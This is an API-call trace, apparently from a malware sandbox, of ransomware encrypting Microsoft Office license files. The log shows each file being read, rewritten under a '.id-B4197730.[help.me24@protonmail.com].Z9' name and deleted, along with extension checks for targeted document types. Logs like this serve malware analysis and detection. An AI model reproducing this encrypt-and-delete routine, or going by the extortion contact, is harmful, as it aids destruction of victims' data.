	[0184.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.255] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.255] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.256] GetLastError () returned 0x0
	[0184.256] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x679d, lpOverlapped=0x0) returned 1
	[0184.260] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0184.262] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.262] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x108, lpOverlapped=0x0) returned 1
	[0184.262] SetEndOfFile (hFile=0x520) returned 1
	[0184.262] CloseHandle (hObject=0x520) returned 1
	[0184.262] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.262] SetEndOfFile (hFile=0x540) returned 1
	[0184.266] CloseHandle (hObject=0x540) returned 1
	[0184.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 1
	[0184.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.268] lstrlenW (lpString=".doc") returned 4
	[0184.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.268] lstrlenW (lpString=".docx") returned 5
	[0184.268] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.268] lstrlenW (lpString=".pdf") returned 4
	[0184.268] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.268] lstrlenW (lpString=".xls") returned 4
	[0184.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.268] lstrlenW (lpString=".xlsx") returned 5
	[0184.268] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.268] lstrlenW (lpString=".ppt") returned 4
	[0184.268] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.269] lstrlenW (lpString=".zip") returned 4
	[0184.269] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.269] lstrlenW (lpString=".rar") returned 4
	[0184.269] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.269] lstrlenW (lpString=".bz2") returned 4
	[0184.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.269] lstrlenW (lpString=".7z") returned 3
	[0184.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.269] lstrlenW (lpString=".dbf") returned 4
	[0184.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.269] lstrlenW (lpString=".1cd") returned 4
	[0184.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.269] lstrlenW (lpString=".jpg") returned 4
	[0184.269] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.269] lstrlenW (lpString=".doc") returned 4
	[0184.269] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.270] lstrlenW (lpString=".docx") returned 5
	[0184.270] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.270] lstrlenW (lpString=".pdf") returned 4
	[0184.270] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.270] lstrlenW (lpString=".xls") returned 4
	[0184.270] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.270] lstrlenW (lpString=".xlsx") returned 5
	[0184.270] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.270] lstrlenW (lpString=".ppt") returned 4
	[0184.270] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.270] lstrlenW (lpString=".zip") returned 4
	[0184.270] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.270] lstrlenW (lpString=".rar") returned 4
	[0184.270] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.270] lstrlenW (lpString=".bz2") returned 4
	[0184.270] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.270] lstrlenW (lpString=".7z") returned 3
	[0184.270] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.270] lstrlenW (lpString=".dbf") returned 4
	[0184.270] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.270] lstrlenW (lpString=".1cd") returned 4
	[0184.270] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0184.270] lstrlenW (lpString=".jpg") returned 4
	[0184.270] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.271] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.271] lstrlenW (lpString="MondoR_SubTrial-ul-oob.xrm-ms") returned 29
	[0184.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.272] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11596) returned 1
	[0184.272] CloseHandle (hObject=0x540) returned 1
	[0184.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 0x220
	[0184.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.273] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.273] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.274] GetLastError () returned 0x0
	[0184.274] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d4c, lpOverlapped=0x0) returned 1
	[0184.444] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0184.445] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.445] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0184.445] SetEndOfFile (hFile=0x520) returned 1
	[0184.445] CloseHandle (hObject=0x520) returned 1
	[0184.446] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.446] SetEndOfFile (hFile=0x540) returned 1
	[0184.449] CloseHandle (hObject=0x540) returned 1
	[0184.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 1
	[0185.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.115] lstrlenW (lpString=".doc") returned 4
	[0185.115] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0185.115] lstrlenW (lpString=".docx") returned 5
	[0185.115] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0185.115] lstrlenW (lpString=".pdf") returned 4
	[0185.115] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0185.115] lstrlenW (lpString=".xls") returned 4
	[0185.115] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0185.115] lstrlenW (lpString=".xlsx") returned 5
	[0185.115] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0185.115] lstrlenW (lpString=".ppt") returned 4
	[0185.115] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0185.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.115] lstrlenW (lpString=".zip") returned 4
	[0185.115] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0185.115] lstrlenW (lpString=".rar") returned 4
	[0185.115] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0185.115] lstrlenW (lpString=".bz2") returned 4
	[0185.115] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0185.115] lstrlenW (lpString=".7z") returned 3
	[0185.115] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0185.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.115] lstrlenW (lpString=".dbf") returned 4
	[0185.115] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.116] lstrlenW (lpString=".1cd") returned 4
	[0185.116] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.116] lstrlenW (lpString=".jpg") returned 4
	[0185.116] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.116] lstrlenW (lpString=".doc") returned 4
	[0185.116] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString=".docx") returned 5
	[0185.116] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0185.116] lstrlenW (lpString=".pdf") returned 4
	[0185.116] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString=".xls") returned 4
	[0185.116] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString=".xlsx") returned 5
	[0185.116] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0185.116] lstrlenW (lpString=".ppt") returned 4
	[0185.116] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.116] lstrlenW (lpString=".zip") returned 4
	[0185.116] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString=".rar") returned 4
	[0185.116] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString=".bz2") returned 4
	[0185.116] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString=".7z") returned 3
	[0185.117] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0185.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.117] lstrlenW (lpString=".dbf") returned 4
	[0185.117] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.117] lstrlenW (lpString=".1cd") returned 4
	[0185.117] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0185.117] lstrlenW (lpString=".jpg") returned 4
	[0185.117] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0185.117] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0185.117] lstrlenW (lpString="MondoVL_MAK-ul-oob.xrm-ms") returned 25
	[0185.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0185.358] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11576) returned 1
	[0185.358] CloseHandle (hObject=0x570) returned 1
	[0185.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 0x220
	[0185.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0186.497] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.497] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0186.498] GetLastError () returned 0x0
	[0186.498] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d38, lpOverlapped=0x0) returned 1
	[0186.508] WriteFile (in: hFile=0x390, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0186.509] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.509] WriteFile (in: hFile=0x390, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x106, lpOverlapped=0x0) returned 1
	[0186.509] SetEndOfFile (hFile=0x390) returned 1
	[0186.509] CloseHandle (hObject=0x390) returned 1
	[0186.509] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.509] SetEndOfFile (hFile=0x3f8) returned 1
	[0186.512] CloseHandle (hObject=0x3f8) returned 1
	[0186.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 1
	[0186.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.515] lstrlenW (lpString=".doc") returned 4
	[0186.515] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0186.515] lstrlenW (lpString=".docx") returned 5
	[0186.515] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0186.515] lstrlenW (lpString=".pdf") returned 4
	[0186.515] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0186.515] lstrlenW (lpString=".xls") returned 4
	[0186.515] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0186.515] lstrlenW (lpString=".xlsx") returned 5
	[0186.515] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0186.515] lstrlenW (lpString=".ppt") returned 4
	[0186.515] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0186.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.515] lstrlenW (lpString=".zip") returned 4
	[0186.515] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString=".rar") returned 4
	[0186.516] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString=".bz2") returned 4
	[0186.516] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString=".7z") returned 3
	[0186.516] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0186.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.516] lstrlenW (lpString=".dbf") returned 4
	[0186.516] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.516] lstrlenW (lpString=".1cd") returned 4
	[0186.516] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.516] lstrlenW (lpString=".jpg") returned 4
	[0186.516] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.516] lstrlenW (lpString=".doc") returned 4
	[0186.516] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString=".docx") returned 5
	[0186.516] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0186.516] lstrlenW (lpString=".pdf") returned 4
	[0186.516] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString=".xls") returned 4
	[0186.516] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString=".xlsx") returned 5
	[0186.516] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0186.516] lstrlenW (lpString=".ppt") returned 4
	[0186.516] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.516] lstrlenW (lpString=".zip") returned 4
	[0186.516] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString=".rar") returned 4
	[0186.516] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0186.516] lstrlenW (lpString=".bz2") returned 4
	[0186.516] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0186.517] lstrlenW (lpString=".7z") returned 3
	[0186.517] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0186.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.517] lstrlenW (lpString=".dbf") returned 4
	[0186.517] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0186.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.517] lstrlenW (lpString=".1cd") returned 4
	[0186.517] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0186.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0186.517] lstrlenW (lpString=".jpg") returned 4
	[0186.517] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0186.517] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0186.517] lstrlenW (lpString="O365BusinessR_Grace-ppd.xrm-ms") returned 30
